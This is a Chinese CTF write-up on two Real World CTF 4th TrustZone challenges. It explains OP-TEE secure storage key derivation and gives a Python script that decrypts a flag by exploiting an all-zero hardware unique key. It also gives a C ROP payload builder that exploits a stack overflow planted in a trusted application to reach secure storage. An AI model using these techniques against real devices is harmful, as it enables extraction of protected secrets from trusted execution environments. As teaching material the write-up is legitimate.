RWCTF-4th TrustZone challenge Writeup
2022-1-24 00:0:0 Author: bestwing.me(查看原文) 阅读量:75 收藏

Foreword

第四届 realworldctf 我和陈楠出了三个题目,分别是 Trust or Not, UnTrustZone and Wheels on the Bus, 其中 Trust or Not, UnTrustZone 是和 TrustZone 相关的题目。

image-20220113181523560

TrustZone是基于硬件的安全功能,它通过对原有硬件架构进行修改,在处理器层次引入了两个不同权限的保护域——安全世界和普通世界,任何时刻处理器仅在其中的一个环境内运行。同时这两个世界完全是硬件隔离的,并具有不同的权限,正常世界中运行的应用程序或操作系统访问安全世界的资源受到严格的限制,反过来安全世界中运行的程序可以正常访问正常世界中的资源。这种两个世界之间的硬件隔离和不同权限等属性为保护应用程序的代码和数据提供了有效的机制:通常正常世界用于运行商品操作系统(例如Android、iOS等),该操作系统提供了正常执行环境(Rich Execution Environment,REE);安全世界则始终使用安全的小内核(TEE-kernel)提供可信执行环境(Trusted Execution Environment,TEE),机密数据可以在TEE中被存储和访问。

Trust or Not

题目描述:

Trust or Not

Score: 357

1
Reverse`, `difficulty:normal

We have lost some of our files and cannot retrieve the plaintext data originally stored.

Hint: flag file is stored in /data/tee/2 securely.

1
nc 47.242.114.24 7788

attachment

TL;DR

要解决这个难题,首先要了解什么是安全存储。 数据要么以某种加密/授权的方式存储在linux文件系统/data/tee中,要么存储在Emmc RPMB(Replay Protected Memory Block)分区中。这次的相关题目主要使用了 OP-TEE的开源项目,其更详细的信息可以在OP-TEE文档 中找到。

**Hardware Unique Key (HUK) **

大多数设备都有某种硬件唯一密钥(HUK),主要用于派生其他密钥。例如,当派生密钥用于安全存储等时,可以使用 HUK 派生。HUK 的重要之处在于它需要得到很好的保护,并且在最好的情况下,HUK 永远不应该直接从软件读取,甚至不应该从安全方面读取。有不同的解决方案,加密加速器可能支持它,或者,它可能涉及另一个安全的协处理器。

Secure Storage Key (SSK)

SSK是每个设备的密钥,在OP-TEE启动时生成并存储在安全内存中。SSK用于派生TA存储密钥(TSK)。

1
SSK = HMACSHA256 (HUK, Chip ID || “static string”)

获取硬件唯一密钥(HUK)和芯片ID的功能取决于平台实现。目前,OP-TEE 系统中每台设备只有一把 SSK,用于安全存储子系统。但是,为了将来,我们可能需要为每台设备使用生成 SSK 的相同算法为不同的子系统创建不同的密钥。为不同子系统生成不同的密钥的简单方法是使用不同的静态生成密钥的字符串。

Trusted Application Storage Key (TSK)

TA存储密钥

TSK是每个受信任的应用程序密钥,由SSK和TA的标识符(UUID)生成。它被用来保护FEK,换句话说,用来加密/解密FEK。

代码实现:build/optee_os/core/tee/tee_fs_key_manager.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (uuid) {
res = do_hmac(tsk, sizeof(tsk), tee_fs_ssk.key,
TEE_FS_KM_SSK_SIZE, uuid, sizeof(*uuid));
if (res != TEE_SUCCESS)
return res;
} else {




uint8_t dummy[1] = { 0 };

res = do_hmac(tsk, sizeof(tsk), tee_fs_ssk.key,
TEE_FS_KM_SSK_SIZE, dummy, sizeof(dummy));
if (res != TEE_SUCCESS)
return res;
}

do_hmac 这里使用的是 HMAC_SHA256

最后就是

1
TSK = HMACSHA256 (SSK, TA_UUID)

File Encryption Key (FEK)

当一个新的TEE文件被创建时,密钥管理器将通过 PRNG(pesudo随机数生成器)为TEE文件生成一个新的 FEK,并将加密的 FEK 存储在 meta 文件中。FEK 用于对存储在 meta 文件中的TEE文件信息或块文件中的数据进行加密/解密。

Ideas

通过逆向和比对OP-Tee的源代码,希望选手能发现 HUK没有被设置。然后被加密了且存储在 /data/tee/2 文件里

1
2
3
4
5
TEE_Result __fastcall tee_otp_get_hw_unique_key(tee_hw_unique_key *hwkey)
{
memset(hwkey, 0, sizeof(tee_hw_unique_key));
return 0;
}

那么只要分析下安全存储的过程,可以参考如图:

Block Data Encryption

思路就大概是

  1. 通过 HUK chip id 计算出 SSK
  2. 通过计算出来的SSkTA UUID计算出 TSK
  3. 通过计算出的 TSK 和 被加密的 FEK 计算出明文 FEK
  4. 最后通过 FEK 解出明文的数据

其中被加密的 FEK 存储在 /data/tee/2 文件中,可以参考如下 010 tempte结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//------------------------------------------------
//--- 010 Editor v10.0.2 Binary Template
//
// File:
// Authors:
// Version:
// Purpose:
// Category:
// File Mask:
// ID Bytes:
// History:
//------------------------------------------------
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
#define TEE_FS_HTREE_FEK_SIZE 16

typedef struct _tee_fs_htree_meta {
UINT64 length;
}tee_fs_htree_meta;

typedef struct _tee_fs_htree_imeta {
struct tee_fs_htree_meta meta;
UINT32 max_node_id;
UINT32 nop;
}tee_fs_htree_imeta;

typedef struct _tee_fs_htree_image {
UCHAR iv[TEE_FS_HTREE_IV_SIZE];
UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
UCHAR enc_fek[TEE_FS_HTREE_FEK_SIZE];
UCHAR imeta[sizeof(struct tee_fs_htree_imeta)];
UINT32 counter;
}tee_fs_htree_image;

#define TEE_FS_HTREE_HASH_SIZE 32
#define TEE_FS_HTREE_IV_SIZE 16
#define TEE_FS_HTREE_TAG_SIZE 16
typedef struct _tee_fs_htree_node_image {
/* Note that calc_node_hash() depends on hash first in struct */
UCHAR hash[TEE_FS_HTREE_HASH_SIZE];
UCHAR iv[TEE_FS_HTREE_IV_SIZE];
UCHAR tag[TEE_FS_HTREE_TAG_SIZE];
USHORT flags;
}tee_fs_htree_node_image;

//--------------------------------------
LittleEndian();

tee_fs_htree_image ver0_head;
tee_fs_htree_image ver1_head;
FSeek(0x1000);
tee_fs_htree_node_image ver0_root_node;
tee_fs_htree_node_image ver1_root_node;
FSeek(0x2000);

Solved

最后脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256

if __name__ == '__main__':

huk = b'\x00' * 16
chip_id = b'BEEF' * 8
print(chip_id)
ssk_str = b'ONLY_FOR_tee_fs_ssk\x00'
m = HMAC.new(huk, digestmod=SHA256)
m.update(chip_id)
m.update(ssk_str)
ssk = m.digest()
print(ssk)


ta_uuid = b'\xbb\x50\xe7\xf4\x37\x14\xbf\x4f\x87\x85\x8d\x35\x80\xc3\x49\x94'
m = HMAC.new(ssk, digestmod=SHA256)
m.update(ta_uuid)
tsk = m.digest()
print(tsk)


enc_fek = b'\xe4\x9a\x95\xf2\xb5\xf4\x9c\x04\xf6\x07\x9f\xfb\xf0\x2e\xd2\xef'
cipher = AES.new(tsk, AES.MODE_ECB)
fek = cipher.decrypt(enc_fek)
print(fek)


enc_data = b'....'
iv = b'\xb4\xc9\x6a\x22\xe6\x36\x72\xcf\x6a\x44\x8f\x10\xa3\x11\x44\x68'
cipher = AES.new(fek, AES.MODE_GCM, nonce=iv)
data = cipher.decrypt(enc_data)
print(data)




UnTrustZone

题目描述

UntrustZone

Score: 500

1
Pwn`, `difficulty:normal

It is clearly not worth your trust.

The default username is root.

1
nc 47.243.205.105 8899

attachment

TL;DR

这个题需要补充一些关于 TrustZone 的另外一部分关于 TACA的前置知识。 TA 是 Trusted Application 的缩写,通常运行在 TEE 环境下的应用简称为 TACA 是 Client Application 的缩写,通常运行在 REE 环境下的应用简称为 CA。

一个访问安全OS的服务流程为:打开 TEE 环境 > 开启一个会话 > 发送命令 > 获取信息 > 结束会话 > 关闭 TEE 环境。

借助OP-TEE来实现特定安全需求时,一次完整的功能调用一般都是起源于CA,TA做具体功能实现并返回数据到CA,而整个过程需要经过OP-TEE的client端接口,OP-TEE在Linux kernel端的驱动,Monitor模式下的SMC处理,OP-TEE OS的thread处理,OP-TEE中的TA程序运行,OP-TEE端底层库或者硬件资源支持等几个阶段。当TA执行完具体请求之后会按照原路径将得到的数据返回给CA。

Ideas

设计这个题目的时候,就只是想让选手了解下 TA 这个攻击面,所以漏洞设计的得特别简单,就是一个在TA中的栈溢出,我修改了附件中的HUK和签名时候的 key 让他保持于远程的不一致。希望选手通过 Pwn 这个 TA, 来获取 安全存储,即 /data/tee/2 下被加密的 flag 。

1
2
3
4
5
6
7
data_sz = params[1].memref.size;

char data[0x20] ;
if (!data)
return TEE_ERROR_OUT_OF_MEMORY;
TEE_MemMove(data, params[1].memref.buffer, data_sz);

Debug

参考: optee-build/debug.md at master · ForgeRock/optee-build (github.com)

  • 有 源码调试:

首先对 ldelf 的入口下断, b thread_enter_user_mode

然后执行 CA 程序,在 LOG 窗口中找到 TA 的加载地址

然后对 TA 入口下断, b *(baseaddr + TA_InvokeCommandEntryPoint_addr

  • 无源码调试

    OP-TEE 有日志功能,在日志功能中能看到 TA 的加载地址,可以通过这个进行调试

内存布局
Text Address File Name Description
0x0 bl1.elf ARM Trusted Firmware Boot Loader Stage 1
0x1070 libteec.so OP-TEE Client Shared Library [Normal World]
0x4009c0 Client Application [Normal World]
0xe01b000 bl2.elf ARM Trusted Firmware Boot Loader Stage 2
0xe040000 bl31.elf ARM Trusted Firmware Boot Loader Stage 3-1
0xe100000 tee.elf OP-TEE
0xffff000008081000 vmlinux Linux Kernel [Normal World]
  • usermod
1
2
3
4
5
6
7
8
9
10
11
12
user mode内存布局
E/LD: region 0: va 0x40004000 pa 0x0e300000 size 0x002000 flags rw-s (ldelf)
E/LD: region 1: va 0x40006000 pa 0x0e302000 size 0x008000 flags r-xs (ldelf)
E/LD: region 2: va 0x4000e000 pa 0x0e30a000 size 0x001000 flags rw-s (ldelf)
E/LD: region 3: va 0x4000f000 pa 0x0e30b000 size 0x004000 flags rw-s (ldelf)
E/LD: region 4: va 0x40013000 pa 0x0e30f000 size 0x001000 flags r--s
E/LD: region 5: va 0x40014000 pa 0x0e32e000 size 0x001000 flags rw-s (stack)
E/LD: region 6: va 0x40015000 pa 0x5f60a888 size 0x001000 flags rw-- (param)
E/LD: region 7: va 0x4004d000 pa 0x00001000 size 0x012000 flags r-xs [0]
//随机
E/LD: region 8: va 0x4005f000 pa 0x00013000 size 0x00c000 flags rw-s [0]
//随机

一般而言: ldelf 加载地址是固定的, 处理代码位于 build/opteeos/core/arch/arm/kernel/ldelfloader.c

ldelf_load_ldelf 函数中, 最后加载的base为 0x40006000, 具体代码可见build/optee_os/core/arch/arm/kernel/ldelf_loader.c

1
2
3
4
5
6
7
8
9
10
11
12
  
1092 {
1093 assert(user_va_idx != -1);
1094
1095 if (base)
1096 *base = (vaddr_t)user_va_idx << L1_XLAT_ADDRESS_SHIFT;
1097 if (size)
1098 *size = BIT64(L1_XLAT_ADDRESS_SHIFT);
1099 }
1100
1101 static uint64_t *core_mmu_get_user_mapping_entry(struct mmu_partition *prtn,

此时 base 计算出来为 0x40000000

Solved

解题关键是需要了解没法直接解密的时候,我们应该如何读取 flag:

  1. TEE_AllocatePersistentObjectEnumerator
  2. TEE_GetNextPersistentObject
  3. TEE_OpenPersistentObject
  4. TEE_ReadObjectData
  5. memcpy data to buffer

首先, ldefl 加载基地址是不变的,我们可以在这上边找 gadget , 另外虽然 TA有随机化,但是这随机化并不是很高,可以通过爆破解决。所以 TA 的程序也是找 gadget 的目标之一。ldefl 程序的代码段是被通过 ldelf_load_ldelf 函数是写死在 bl32_extra1.bin中的。

最后我们找到的了几个可以设置 5 个参数的 gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
uint64_t CallFun5(TEEC_Session* sess,uint64_t func,uint64_t x0,uint64_t x1,uint64_t x2,uint64_t x3,uint64_t x4)
{


payload = (uint8_t*)malloc(0x1000);
memset(payload,0,0x1000);
memcpy(payload,tmp,sizeof(tmp));
printf("tmplen 0x%lx \n",sizeof(tmp));
*(uint64_t*)(payload+48) = 0x40015150;
*(uint64_t*)(payload+56) = 0x40004008;
*(uint64_t*)(payload+40) = 0x40006000+0x0000000000003a28;
*(uint64_t*)(payload+672) = x1 & 0xFFFFFFFFFFFFF000;



*(uint32_t*)(payload+108) = 0x40015777;
*(uint64_t*)(payload+112) = 0x40014ff8;
*(uint64_t*)(payload+64) = 0x40004010;
*(uint64_t*)(payload+184) = 0x40006000+0x0000000000000C40;
*(uint64_t*)(payload+344) = x2;



*(uint64_t*)(payload+112+0x38) = 0x40015150;
*(uint64_t*)(payload+272) = 0x40004070;
*(uint64_t*)(payload+304) = 0;
*(uint64_t*)(payload+160) = 0x40006000+0x0000000000000EE0;
*(uint64_t*)(payload+672+8) = x0;




*(uint64_t*)(payload+432) = x1;
*(uint64_t*)(payload+440) = x3;
*(uint64_t*)(payload+360) = g_ta_addr+0x000000000000aa00;



*(uint64_t*)(payload+400) = 0x40006000+0x0000000000001f98;


*(uint64_t*)(payload+376) = 0x40015170;
*(uint64_t*)(payload+496) = 0x40015180;
*(uint64_t*)(payload+472) = g_ta_addr + 0x0000000000005fa4;
*(uint64_t*)(payload+696) = x4;



*(uint64_t*)(payload+528) = 0x40015180;
*(uint64_t*)(payload+544) = 0x40004070;
*(uint64_t*)(payload+416) = 0xFFFFFFFFFFFFF001;
*(uint64_t*)(payload+520) = 0x40006000+0x0000000000000EE0;
*(uint64_t*)(payload+728) = x0;


*(uint64_t*)(payload+568) = func;
return 0;
}

文章来源: https://bestwing.me/RWCTF-4th-TrustZone-challenge-Writeup.html
如有侵权请联系:admin#unsafe.sh